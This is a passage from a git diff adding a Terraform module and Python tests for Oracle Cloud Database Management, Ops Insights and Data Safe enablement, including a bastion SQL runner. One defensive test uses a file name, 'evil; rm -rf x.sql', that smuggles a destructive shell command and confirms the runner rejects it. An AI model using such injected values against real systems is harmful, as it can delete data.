preferred-credential slots. + preferred_credentials = merge([ + for name, _ in local.cred_targets : { + for slot in ["PC_READ", "PC_WRITE"] : "${name}-${slot}" => { + target = name + slot = slot + } + } + ]...) +} + +# 1. Database Management (DIAGNOSTICS_AND_MANAGEMENT) over the DBM private endpoint. +resource "oci_database_management_database_dbm_features_management" "dbm" { + for_each = local.dbm_targets + database_id = each.value.database_id + enable_database_dbm_feature = true + + feature_details { + feature = "DIAGNOSTICS_AND_MANAGEMENT" + management_type = each.value.management_type + + connector_details { + connector_type = "PE" + private_end_point_id = var.dbm_private_endpoint_id + } + + database_connection_details { + connection_credentials { + credential_type = "DETAILS" + user_name = var.monitoring_user + password_secret_id = var.password_secret_id + role = "NORMAL" + } + connection_string { + connection_type = "BASIC" + port = 1521 + protocol = "TCP" + service = each.value.service_name + } + } + } +} + +# 2. Vault-backed Named Credential (RESOURCE_PRINCIPAL) for advanced diagnostics. +resource "oci_database_management_named_credential" "dbsnmp" { + for_each = local.cred_targets + compartment_id = var.compartment_id + name = "${each.key}_${var.monitoring_user}_NORMAL" + scope = "RESOURCE" + type = "ORACLE_DB" + associated_resource = each.value.database_id + + content { + credential_type = "BASIC" + user_name = var.monitoring_user + role = "NORMAL" + password_secret_id = var.password_secret_id + password_secret_access_mode = "RESOURCE_PRINCIPAL" + } + + depends_on = [oci_database_management_database_dbm_features_management.dbm] +} + +# 3. Preferred credentials PC_READ / PC_WRITE -> the named credential. +# The OCI provider exposes preferred credentials only as a data source (no +# resource), so they are wired with the dedicated CLI verb. Runs on apply and +# whenever the named credential changes. Requires the `oci` CLI on the runner +# (Cloud Shell / ORM agent) authenticated to the same tenancy. +resource "null_resource" "preferred_credential" { + for_each = local.preferred_credentials + + triggers = { + managed_database_id = local.cred_targets[each.value.target].database_id + named_credential_id = oci_database_management_named_credential.dbsnmp[each.value.target].id + slot = each.value.slot + } + + provisioner "local-exec" { + command = join(" ", [ + "oci database-management preferred-credential", + "update-preferred-credential-update-named-preferred-credential-details", + "--managed-database-id", self.triggers.managed_database_id, + "--credential-name", self.triggers.slot, + "--named-credential-id", self.triggers.named_credential_id, + ]) + } +} + +# 4. Operations Insights PE co-managed Database Insight. +resource "oci_opsi_database_insight" "insight" { + for_each = local.opsi_targets + compartment_id = var.compartment_id + entity_source = "PE_COMANAGED_DATABASE" + database_id = each.value.database_id + database_resource_type = each.value.database_resource_type + deployment_type = "VIRTUAL_MACHINE" + opsi_private_endpoint_id = var.opsi_private_endpoint_id + + credential_details { + credential_type = "CREDENTIALS_BY_VAULT" + credential_source_name = "${each.key}-dbsnmp" + user_name = var.monitoring_user + role = "NORMAL" + password_secret_id = var.password_secret_id + } + + connection_details { + protocol = "TCP" + service_name = each.value.service_name + + hosts { + host_ip = each.value.host_ip + port = 1521 + } + } + + lifecycle { + # deployment_type is accepted on create but not returned by the API, so + # without this TF would perpetually try to re-set it and force replacement. + ignore_changes = [deployment_type] + } + + depends_on = [oci_database_management_database_dbm_features_management.dbm] +} + +# 5. Data Safe target-database registration (security pillar). +# Connects through the Data Safe private endpoint as the monitoring user. The +# password is plaintext in state (the API takes a password, not a Vault secret), +# so supply it via TF_VAR_data_safe_password and keep state restricted. +resource "oci_data_safe_target_database" "target" { + for_each = local.data_safe_targets + compartment_id = var.compartment_id + display_name = each.key + + database_details { + database_type = "DATABASE_CLOUD_SERVICE" + infrastructure_type = "ORACLE_CLOUD" + db_system_id = each.value.db_system_id + service_name = each.value.service_name + listener_port = 1521 + } + + connection_option { + connection_type = "PRIVATE_ENDPOINT" + datasafe_private_endpoint_id = var.data_safe_private_endpoint_id + } + + credentials { + user_name = var.monitoring_user + password = var.data_safe_password + } + + depends_on = [oci_database_management_database_dbm_features_management.dbm] +} diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/outputs.tf b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/outputs.tf new file mode 100644 index 000000000..9206216a2 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/outputs.tf @@ -0,0 +1,19 @@ +output "dbm_feature_ids" { + description = "Database Management feature-management resource IDs, keyed by target." + value = { for k, r in oci_database_management_database_dbm_features_management.dbm : k => r.id } +} + +output "named_credential_ids" { + description = "Named credential OCIDs, keyed by target." + value = { for k, r in oci_database_management_named_credential.dbsnmp : k => r.id } +} + +output "ops_insights_ids" { + description = "Operations Insights Database Insight OCIDs, keyed by target." + value = { for k, r in oci_opsi_database_insight.insight : k => r.id } +} + +output "data_safe_target_ids" { + description = "Data Safe target-database OCIDs, keyed by target." + value = { for k, r in oci_data_safe_target_database.target : k => r.id } +} diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/variables.tf b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/variables.tf new file mode 100644 index 000000000..bf611febf --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/variables.tf @@ -0,0 +1,88 @@ +variable "compartment_id" { + description = "Compartment OCID that holds the databases, private endpoints, and Vault secret." + type = string +} + +variable "dbm_private_endpoint_id" { + description = "Database Management private endpoint OCID." + type = string +} + +variable "opsi_private_endpoint_id" { + description = "Operations Insights private endpoint OCID. Required when enable_ops_insights is true." + type = string + default = null +} + +variable "password_secret_id" { + description = "Vault secret OCID holding the monitoring user's password." + type = string +} + +variable "monitoring_user" { + description = "Database monitoring user." + type = string + default = "DBSNMP" +} + +# --- Feature toggles: flip a feature on/off without touching the others. --- +variable "enable_database_management" { + type = bool + default = true +} + +variable "enable_ops_insights" { + type = bool + default = true +} + +variable "set_preferred_credentials" { + description = "Create a Vault named credential and wire PC_READ/PC_WRITE for advanced diagnostics." + type = bool + default = true +} + +variable "enable_data_safe" { + description = "Register each target as a Data Safe target database (security pillar)." + type = bool + default = false +} + +variable "data_safe_private_endpoint_id" { + description = "Data Safe private endpoint OCID in the DB subnet. Required when enable_data_safe is true." + type = string + default = null +} + +variable "data_safe_password" { + description = <<-EOT + Plaintext password for the Data Safe service account (monitoring_user). The + oci_data_safe_target_database resource takes a password, not a Vault secret, + so it lands in Terraform state — supply via TF_VAR_data_safe_password and keep + state encrypted/restricted; never commit it. Required when enable_data_safe is true. + EOT + type = string + default = null + sensitive = true +} + +variable "targets" { + description = <<-EOT + Enablement targets keyed by a short name (e.g. "cdb", "pdb1"). For OCI-native + DBCS the managed-database OCID equals the database / pluggable-database OCID, + so database_id is reused as the managed-database id. service_name must be the + REAL listener service (db_unique_name.domain for the CDB, pdb_name.domain for + a PDB) — the bare DB/PDB name causes ORA-12514. + EOT + type = map(object({ + database_id = string + database_role = string # CDB | PDB | NON_CDB + database_resource_type = string # OPSI value, lowercase: "database" | "pluggabledatabase" + service_name = string + host_ip = string + management_type = optional(string, "ADVANCED") + # Parent DB system OCID — required only for Data Safe DATABASE_CLOUD_SERVICE + # registration (Base DB / Exadata cloud service). + db_system_id = optional(string) + })) +} diff --git a/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/versions.tf b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/versions.tf new file mode 100644 index 000000000..e56633624 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/terraform/modules/dbm-opsi-enablement/versions.tf @@ -0,0 +1,13 @@ +terraform { + required_version = ">= 1.5.0" + required_providers { + oci = { + source = "oracle/oci" + version = ">= 6.0.0" + } + null = { + source = "hashicorp/null" + version = ">= 3.2.0" + } + } +} diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/evals/README.md b/observability-and-management/assets/oci-dbman-opsi/tests/evals/README.md new file mode 100644 index 000000000..e0ac002b1 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/evals/README.md @@ -0,0 +1,46 @@ +# Eval-First Harness + +A small, fixture-driven regression fence for the `dbman-opsi` enablement logic. +Every defect found by live testing against the cap tenancy is encoded here so it +can never silently return. Evals are organized by **defect/risk**, not by module, +so they survive refactors. + +## The eval-first loop + +1. **Define** a capability eval (intended behaviour) and a regression eval (a + defect signature that must never recur). +2. **Baseline** — run before a change; a regression eval should *fail* on the + broken code and *pass* once fixed (e.g. `R2_validate_cli_path_uses_live_reads` + failed on `CommandRunner(dry_run=args.dry_run)` and passes on `dry_run=False`). +3. **Implement** the change. +4. **Compare deltas** — re-run; no capability eval regressed, the targeted + regression eval flipped to green. + +## Run + +```bash +pytest -m eval --no-cov # just the evals (skip the coverage gate) +pytest # evals run as part of the full suite +``` + +## Coverage map (defect → eval) + +| ID | Defect signature (where it was found) | Eval | +|----|----------------------------------------|------| +| C1 | OPSI state must come from reliable GET-by-OCID | `test_capability::...active_via_reliable_get...` | +| C2 | NOT_FOUND only from a complete+stable absence | `test_capability::...complete_stable_absence` | +| R1 | Flaky OPSI LIST → false `NOT_FOUND` while ACTIVE | `test_regression::test_R1_*` | +| R2 | dry-run runner stubs every read to `{}` | `test_regression::test_R2_dry_run_runner_stubs_every_read` | +| R2 | `validate --dry-run` stubbed live reads | `test_regression::test_R2_validate_cli_path_uses_live_reads...` | +| R3 | list-first idempotency crashed on a real 409 | `test_regression::test_R3_*` | + +Enable idempotency (skip-reconcile on already-enabled DBM, skip-create on ACTIVE +OPSI) is covered by `tests/test_enablement.py`; the merge/verdict internals by +`tests/test_validation.py` and `tests/test_oci_cli.py`. This harness adds the +cross-cutting defect-signature layer on top. + +## Fixtures + +`fakes.ReplayOci` models the two production behaviours that matter: the **flaky +aggregated LIST** (replays a `(items, complete)` sequence, one per call) and the +**reliable single-resource GET**. See its docstring. diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/evals/fakes.py b/observability-and-management/assets/oci-dbman-opsi/tests/evals/fakes.py new file mode 100644 index 000000000..9cccd8311 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/evals/fakes.py @@ -0,0 +1,94 @@ +"""Fixture-driven OCI fake for the eval harness. + +`ReplayOci` models the two behaviours that matter for the defect signatures: + +* the **flaky aggregated LIST** — `list_opsi_database_insights[_complete]` replays + a caller-supplied sequence of `(items, complete)` tuples, one per call, so an + eval can reproduce the full/partial/empty flap seen on the live control plane; +* the **reliable single-resource GET** — `get_opsi_database_insight` and the + database GETs return fixed fixtures, mirroring production where GET-by-OCID is + trustworthy where the LIST is not. + +It also supports the prerequisites write path (`run` / `run_tolerating`) with an +optional create-conflict to reproduce the list-first-miss idempotency case. +""" + +from __future__ import annotations + +from typing import Any + + +class ReplayOci: + def __init__( + self, + *, + databases: dict[str, dict[str, Any]] | None = None, + pluggables: dict[str, dict[str, Any]] | None = None, + autonomous: dict[str, dict[str, Any]] | None = None, + insight_get: dict[str, dict[str, Any]] | None = None, + insight_list_sequence: list[tuple[list[dict[str, Any]], bool]] | None = None, + create_conflict: str | None = None, + existing_dbm_pes: list[dict[str, Any]] | None = None, + existing_opsi_pes: list[dict[str, Any]] | None = None, + ) -> None: + self.databases = databases or {} + self.pluggables = pluggables or {} + self.autonomous = autonomous or {} + self.insight_get = insight_get or {} + # Each call to the OPSI list returns the next (items, complete) tuple; the + # last entry repeats once exhausted. + self.insight_list_sequence = insight_list_sequence or [([], True)] + self.create_conflict = create_conflict + self.existing_dbm_pes = existing_dbm_pes or [] + self.existing_opsi_pes = existing_opsi_pes or [] + self.commands: list[list[str]] = [] + self._list_calls = 0 + self.get_insight_calls: list[str] = [] + + # --- resource GETs (reliable) ------------------------------------- + def get_database(self, resource_id: str) -> dict[str, Any]: + return self.databases.get(resource_id, {}) + + def get_pluggable_database(self, resource_id: str) -> dict[str, Any]: + return self.pluggables.get(resource_id, {}) + + def get_autonomous_database(self, resource_id: str) -> dict[str, Any]: + return self.autonomous.get(resource_id, {}) + + def get_opsi_database_insight(self, insight_id: str) -> dict[str, Any]: + self.get_insight_calls.append(insight_id) + return self.insight_get.get(insight_id, {}) + + def list_management_agents(self, compartment_id: str) -> list[dict[str, Any]]: + return [] + + # --- OPSI insight LIST (flaky) ------------------------------------ + def list_opsi_database_insights_complete(self, compartment_id: str) -> tuple[list[dict[str, Any]], bool]: + idx = min(self._list_calls, len(self.insight_list_sequence) - 1) + self._list_calls += 1 + items, complete = self.insight_list_sequence[idx] + return list(items), complete + + def list_opsi_database_insights(self, compartment_id: str) -> list[dict[str, Any]]: + return self.list_opsi_database_insights_complete(compartment_id)[0] + + # --- prerequisites write path ------------------------------------- + def list_db_management_private_endpoints(self, compartment_id: str) -> list[dict[str, Any]]: + return self.existing_dbm_pes + + def list_opsi_private_endpoints(self, compartment_id: str) -> list[dict[str, Any]]: + return self.existing_opsi_pes + + def run(self, args: list[str]) -> None: + self.commands.append(args) + if self.create_conflict is not None: + raise RuntimeError(self.create_conflict) + + def run_tolerating(self, args: list[str], tolerated: tuple[str, ...]) -> bool: + try: + self.run(args) + return True + except RuntimeError as exc: + if any(marker in str(exc) for marker in tolerated): + return False + raise diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/evals/test_capability.py b/observability-and-management/assets/oci-dbman-opsi/tests/evals/test_capability.py new file mode 100644 index 000000000..fd507e64d --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/evals/test_capability.py @@ -0,0 +1,69 @@ +"""Capability evals — does the toolkit report correct state from good fixtures? + +These pin the *intended* behaviour (the "capability eval" half of the eval-first +loop). If a refactor breaks how state is read or reported, these fail. +""" + +from __future__ import annotations + +import pytest + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.validation import ValidationService +from fakes import ReplayOci + +pytestmark = pytest.mark.eval + +_CDB = "ocid1.database.oc1..cdb" +_ENABLED_DB = {"lifecycle-state": "AVAILABLE", "database-management-config": {"management-status": "ENABLED"}} + + +def _cfg(target: Target) -> EnablementConfig: + return EnablementConfig( + profile="DEFAULT", region="eu-frankfurt-1", compartment_id="cmp", targets=(target,) + ) + + +def test_validate_reports_active_via_reliable_get_when_ocid_known() -> None: + target = Target( + kind="dbcs", name="cdb", resource_id=_CDB, compartment_id="cmp", + opsi_database_insight_id="ins-1", + ) + oci = ReplayOci( + databases={_CDB: _ENABLED_DB}, + insight_get={"ins-1": {"lifecycle-state": "ACTIVE", "status": "ENABLED"}}, + # LIST flaps to empty — must be irrelevant because the OCID is known. + insight_list_sequence=[([], True)], + ) + + findings = ValidationService(oci).validate(_cfg(target)) # type: ignore[arg-type] + + assert findings == ["cdb (CDB): Database Management ENABLED; Ops Insights ACTIVE (ENABLED)"] + assert oci.get_insight_calls == ["ins-1"] # never leaned on the flaky LIST + + +def test_validate_reports_dbm_enabled_from_resource_get() -> None: + target = Target(kind="dbcs", name="cdb", resource_id=_CDB, compartment_id="cmp", + opsi_database_insight_id="ins-1") + oci = ReplayOci(databases={_CDB: _ENABLED_DB}, + insight_get={"ins-1": {"lifecycle-state": "ACTIVE", "status": "SUCCESS"}}) + + findings = ValidationService(oci).validate(_cfg(target)) # type: ignore[arg-type] + + assert "Database Management ENABLED" in findings[0] + assert "Ops Insights ACTIVE (SUCCESS)" in findings[0] + + +def test_validate_authoritative_not_found_only_from_complete_stable_absence() -> None: + # No OCID configured; LIST is COMPLETE + non-empty + stable and reproducibly + # lacks our database -> the one case NOT_FOUND is authoritative. + target = Target(kind="dbcs", name="cdb", resource_id=_CDB, compartment_id="cmp") + others = [{"id": "ins-x", "database-id": "ocid1.database.oc1..other", "lifecycle-state": "ACTIVE"}] + oci = ReplayOci( + databases={_CDB: _ENABLED_DB}, + insight_list_sequence=[(others, True), (others, True), (others, True)], + ) + + findings = ValidationService(oci, sleeper=lambda _d: None).validate(_cfg(target)) # type: ignore[arg-type] + + assert findings == ["cdb (CDB): Database Management ENABLED; Ops Insights NOT_FOUND (no Database Insight)"] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/evals/test_regression.py b/observability-and-management/assets/oci-dbman-opsi/tests/evals/test_regression.py new file mode 100644 index 000000000..7ebd5a6b2 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/evals/test_regression.py @@ -0,0 +1,110 @@ +"""Regression evals — defect signatures from live testing, locked forever. + +Each test names the session defect it would have caught. These are the +"regression eval" half of the eval-first loop: a fence so a future change can't +silently reintroduce a bug we already paid to find. +""" + +from __future__ import annotations + +import pathlib + +import pytest + +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.prerequisites import PrerequisiteService +from dbman_opsi.runner import CommandRunner +from dbman_opsi.validation import ValidationService +from fakes import ReplayOci + +pytestmark = pytest.mark.eval + +_REPO = pathlib.Path(__file__).resolve().parents[2] +_CDB = "ocid1.database.oc1..cdb" +_ENABLED_DB = {"lifecycle-state": "AVAILABLE", "database-management-config": {"management-status": "ENABLED"}} + + +def _cfg(target: Target) -> EnablementConfig: + return EnablementConfig( + profile="DEFAULT", region="eu-frankfurt-1", compartment_id="cmp", targets=(target,) + ) + + +# R1 — the headline defect: flaky OPSI LIST must never produce a false NOT_FOUND. +def test_R1_flaky_list_with_known_ocid_is_always_active() -> None: + """Defect: `validate` reported NOT_FOUND while the insight was ACTIVE because + the aggregated LIST flapped empty. With the OCID known, GET-by-OCID wins.""" + target = Target(kind="dbcs", name="cdb", resource_id=_CDB, compartment_id="cmp", + opsi_database_insight_id="ins-1") + flap = [([], True), ([], False), ([{"id": "ins-1", "database-id": _CDB, "lifecycle-state": "ACTIVE"}], True)] + oci = ReplayOci(databases={_CDB: _ENABLED_DB}, + insight_get={"ins-1": {"lifecycle-state": "ACTIVE", "status": "SUCCESS"}}, + insight_list_sequence=flap) + + findings = ValidationService(oci, sleeper=lambda _d: None).validate(_cfg(target)) # type: ignore[arg-type] + + assert "Ops Insights ACTIVE (SUCCESS)" in findings[0] + + +def test_R1_flaky_list_without_ocid_degrades_to_unknown_not_false_not_found() -> None: + """Defect: an empty/partial/varying LIST must read UNKNOWN, never NOT_FOUND, + when we have no OCID to fall back to.""" + target = Target(kind="dbcs", name="cdb", resource_id=_CDB, compartment_id="cmp") + flap = [([], True), ([{"id": "x", "database-id": "ocid1.database.oc1..other"}], True), ([], False)] + oci = ReplayOci(databases={_CDB: _ENABLED_DB}, insight_list_sequence=flap) + + findings = ValidationService(oci, sleeper=lambda _d: None).validate(_cfg(target)) # type: ignore[arg-type] + + assert "Ops Insights UNKNOWN" in findings[0] + assert "NOT_FOUND" not in findings[0] + + +# R2 — the dry-run trap: a dry-run runner stubs every read to {}. +def test_R2_dry_run_runner_stubs_every_read() -> None: + """Defect: constructing a read client on CommandRunner(dry_run=True) makes + every read return empty — indistinguishable from a flaky-empty endpoint. + This pins that behaviour so read paths are knowingly built dry_run=False.""" + oci = OciCli("p", "r", CommandRunner(dry_run=True)) + + assert oci.get_database("x") == {} + assert oci.list_opsi_database_insights("c") == [] + assert oci.list_opsi_database_insights_complete("c") == ([], True) + + +def test_R2_validate_cli_path_uses_live_reads_not_dry_run_flag() -> None: + """Defect: `validate` (read-only) built its runner from args.dry_run, so + `validate --dry-run` stubbed all reads -> bogus NOT_FOUND/empty. Its reads + must always be live.""" + src = (_REPO / "src" / "dbman_opsi" / "cli.py").read_text() + block = src.split('if args.command == "validate":', 1)[1].split("if args.command ==", 1)[0] + assert "CommandRunner(dry_run=False)" in block + # The runner must NOT be built from the flag (a comment may still mention it). + assert "CommandRunner(dry_run=args.dry_run)" not in block + + +# R3 — flaky-list idempotency on the write side. +def _net_cfg() -> EnablementConfig: + return EnablementConfig( + profile="DEFAULT", region="eu-frankfurt-1", compartment_id="cmp", + network=NetworkSelection(vcn_id="vcn", subnet_id="subnet"), + ) + + +def test_R3_list_first_miss_tolerates_create_conflict() -> None: + """Defect: prepare-prereqs list-first guard trusted an empty list; a real + 'already exists' on create then crashed the run. Now it's an idempotent no-op.""" + oci = ReplayOci(create_conflict="The private endpoint name is already in use") + + PrerequisiteService(oci).prepare(_net_cfg()) # type: ignore[arg-type] # must not raise + + assert oci.commands[0][:3] == ["database-management", "private-endpoint", "create"] + assert oci.commands[1][:3] == ["opsi", "opsi-private-endpoint", "create"] + + +def test_R3_non_conflict_create_error_still_propagates() -> None: + """Guardrail: tolerance must be scoped to name conflicts only.""" + oci = ReplayOci(create_conflict="InvalidParameter: subnet not found") + + with pytest.raises(RuntimeError, match="subnet not found"): + PrerequisiteService(oci).prepare(_net_cfg()) # type: ignore[arg-type] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_agent_scripts.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_agent_scripts.py new file mode 100644 index 000000000..072358b8f --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_agent_scripts.py @@ -0,0 +1,41 @@ +from pathlib import Path + +from dbman_opsi.agent_scripts import generate_agent_scripts, render_agent_script +from dbman_opsi.config import EnablementConfig, Target + + +def test_render_linux_agent_script_includes_required_plugins() -> None: + config = EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1", compartment_id="compartment-id") + target = Target(kind="external-db", name="extdb", external_os="linux") + + script = render_agent_script(target, config) + + assert "Service.plugin.dbmgmt.download=true" in script + assert "Service.plugin.opsi.download=true" in script + assert "INSTALL_KEY" in script + + +def test_generate_agent_scripts_only_for_external_targets(tmp_path: Path) -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=( + Target(kind="external-db", name="external db", external_os="linux"), + Target(kind="dbcs", name="cloud db"), + ), + ) + + paths = generate_agent_scripts(config, tmp_path) + + assert [path.name for path in paths] == ["external-db-agent.sh"] + assert paths[0].exists() + + +def test_render_windows_and_generic_agent_scripts() -> None: + config = EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1", compartment_id="compartment-id") + + windows = render_agent_script(Target(kind="external-db", name="win", external_os="windows"), config) + solaris = render_agent_script(Target(kind="external-db", name="sol", external_os="solaris"), config) + + assert "setup.bat" in windows + assert "Required plugins: dbmgmt and opsi" in solaris diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_bastion_exec.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_bastion_exec.py new file mode 100644 index 000000000..b83c1b962 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_bastion_exec.py @@ -0,0 +1,310 @@ +from pathlib import Path + +import pytest + +from dbman_opsi.bastion_exec import BastionSqlRunner +from dbman_opsi.config import Target + + +class _FakeExec: + """Records foreground/background commands; returns canned stdout.""" + + def __init__(self): + self.fg: list[list[str]] = [] + self.bg: list[list[str]] = [] + + def run(self, argv, input=None): # noqa: A002 - mirror subprocess signature + self.fg.append(argv) + return "OK" + + def run_bg(self, argv): + self.bg.append(argv) + + +class _ListingExec(_FakeExec): + def __init__(self, payload: str, *, fail_delete: str | None = None) -> None: + super().__init__() + self.payload = payload + self.fail_delete = fail_delete + + def run(self, argv, input=None): # noqa: A002 - mirror subprocess signature + self.fg.append(argv) + joined = " ".join(argv) + if "session list" in joined: + return self.payload + if self.fail_delete and self.fail_delete in joined: + raise RuntimeError("delete failed") + return "OK" + + +def _runner(ex, **kw): + return BastionSqlRunner( + bastion_id="ocid1.bastion.x", + target_private_ip="10.0.0.5", + ssh_key="/keys/id", + profile="cap", + region="eu-frankfurt-1", + exec_fn=ex.run, + exec_bg_fn=ex.run_bg, + session_id_fn=lambda: "ocid1.bastionsession.x", + sleeper=lambda d: None, + local_port=8022, + **kw, + ) + + +def test_runner_creates_session_tunnel_runs_scripts_and_tears_down(tmp_path: Path) -> None: + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + s2 = tmp_path / "06.sql"; s2.write_text("-- b") + ex = _FakeExec() + target = Target(kind="dbcs", name="cdb", service_name="PDB1") + + out = _runner(ex).__call__(target, [s1, s2]) + + flat = " | ".join(" ".join(c) for c in ex.fg) + # Session created with work-request wait, scripts scp'd + run, session deleted. + assert "bastion session create-port-forwarding" in flat + assert "--wait-for-state SUCCEEDED" in flat + assert ex.bg and "8022:10.0.0.5:22" in " ".join(ex.bg[0]) # tunnel started + assert sum("scp" in c[0] for c in ex.fg) == 2 # both scripts copied + assert any("sqlplus" in " ".join(c) for c in ex.fg) # executed as sysdba + assert "session delete" in flat # torn down + assert "OK" in out + + +def test_runner_uses_tofu_known_hosts_never_dev_null(tmp_path: Path) -> None: + # §3 HIGH fix: host-key verification must be TOFU (accept-new) into a per-run + # known_hosts file on EVERY hop — never StrictHostKeyChecking=no / /dev/null. + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + kh = tmp_path / "kh" + ex = _FakeExec() + + _runner(ex, known_hosts=str(kh)).__call__(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1]) + + hops = ex.bg + [c for c in ex.fg if c and c[0] in {"ssh", "scp"}] + assert hops, "expected tunnel + scp + ssh hops" + for hop in hops: + joined = " ".join(hop) + assert "StrictHostKeyChecking=no" not in joined + assert "UserKnownHostsFile=/dev/null" not in joined + assert "StrictHostKeyChecking=accept-new" in joined + assert f"UserKnownHostsFile={kh}" in joined + + +def test_runner_auto_creates_per_run_known_hosts_when_unset(tmp_path: Path) -> None: + # With no known_hosts supplied, the runner provisions its own per-run file + # (required because the loopback tunnel maps to a different host each run). + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + ex = _FakeExec() + + _runner(ex).__call__(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1]) + + scp = next(c for c in ex.fg if c and c[0] == "scp") + kh_opt = next(a for a in scp if a.startswith("UserKnownHostsFile=")) + path = kh_opt.split("=", 1)[1] + assert path not in {"/dev/null", ""} + assert not Path(path).exists() # per-run file cleaned up in finally + + +def test_runner_removes_remote_scripts_after_run(tmp_path: Path) -> None: + # §3 MED: uploaded scripts must not linger in /tmp on the DB host. + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + s2 = tmp_path / "06.sql"; s2.write_text("-- b") + ex = _FakeExec() + + _runner(ex).__call__(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1, s2]) + + flat = " | ".join(" ".join(c) for c in ex.fg) + assert "rm -f /tmp/01.sql /tmp/06.sql" in flat + + +def test_runner_registers_idempotent_atexit_teardown(tmp_path: Path) -> None: + # §1 HIGH: an interpreter exit must still delete the bastion session, and the + # atexit hook must not double-delete when the normal finally already ran. + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + ex = _FakeExec() + registered: list = [] + + _runner(ex, atexit_register=registered.append).__call__( + Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1] + ) + + deletes_during_run = sum("session delete" in " ".join(c) for c in ex.fg) + assert deletes_during_run == 1 # torn down once by the finally + assert registered, "expected an atexit teardown to be registered" + registered[0]() # simulate interpreter exit + deletes_after = sum("session delete" in " ".join(c) for c in ex.fg) + assert deletes_after == 1 # idempotent: no second delete + + +class _Handle: + """Stands in for the ssh-forward Popen; records terminate() calls.""" + + def __init__(self) -> None: + self.terminated = 0 + + def terminate(self) -> None: + self.terminated += 1 + + +def test_forward_process_is_terminated_in_finally(tmp_path: Path) -> None: + # H1: the local ssh -L forward must die with the run, not orphan and hold the + # port for a later run to misdeliver the password onto a stale host. + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + ex = _FakeExec() + handle = _Handle() + + def run_bg(argv: list[str]) -> _Handle: + ex.bg.append(argv) + return handle + + BastionSqlRunner( + bastion_id="b", target_private_ip="10.0.0.5", ssh_key="/k", + profile="cap", region="eu-frankfurt-1", local_port=8022, + exec_fn=ex.run, exec_bg_fn=run_bg, session_id_fn=lambda: "s", sleeper=lambda d: None, + )(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1]) + + assert handle.terminated == 1 + + +def test_forward_drops_dash_f_so_caller_owns_the_process(tmp_path: Path) -> None: + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + ex = _FakeExec() + + _runner(ex).__call__(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1]) + + forward = ex.bg[0] + assert "-fNL" not in forward and "-f" not in forward # not self-backgrounded + assert "-NL" in forward # Popen owns the foreground forward + + +def test_ephemeral_local_port_when_unset(tmp_path: Path) -> None: + # H1: with no explicit local_port, a fresh ephemeral port is chosen per run and + # used consistently for the forward, scp and ssh — so a leaked forward on a + # fixed 8022 can never be silently reused. + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + ex = _FakeExec() + runner = BastionSqlRunner( + bastion_id="b", target_private_ip="10.0.0.5", ssh_key="/k", + profile="cap", region="eu-frankfurt-1", + exec_fn=ex.run, exec_bg_fn=ex.run_bg, session_id_fn=lambda: "s", sleeper=lambda d: None, + ) + + runner(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1]) + + scp = next(c for c in ex.fg if c and c[0] == "scp") + port = scp[scp.index("-P") + 1] + assert int(port) > 1024 and port != "8022" + assert f"{port}:10.0.0.5:22" in " ".join(ex.bg[0]) + + +def test_rejects_remote_script_name_with_shell_metacharacters(tmp_path: Path) -> None: + # L6/M: script.name is interpolated into remote shell strings; reject anything + # that isn't a plain filename before it reaches scp/ssh. + bad = tmp_path / "evil; rm -rf x.sql" + bad.write_text("-- x") + ex = _FakeExec() + + with pytest.raises(ValueError): + _runner(ex).__call__(Target(kind="dbcs", name="cdb", service_name="PDB1"), [bad]) + + +def test_runner_tears_down_even_when_a_script_fails(tmp_path: Path) -> None: + s1 = tmp_path / "01.sql"; s1.write_text("-- a") + ex = _FakeExec() + + def boom(argv, input=None): # noqa: A002 + ex.fg.append(argv) + if any("sqlplus" in a for a in argv): + raise RuntimeError("ORA-00942") + return "OK" + + runner = _runner(ex) + runner._exec = boom # type: ignore[assignment] + + with pytest.raises(RuntimeError): + runner(Target(kind="dbcs", name="cdb", service_name="PDB1"), [s1]) + + # The bastion session must still be deleted on failure (cleanup in finally). + assert any("delete" in " 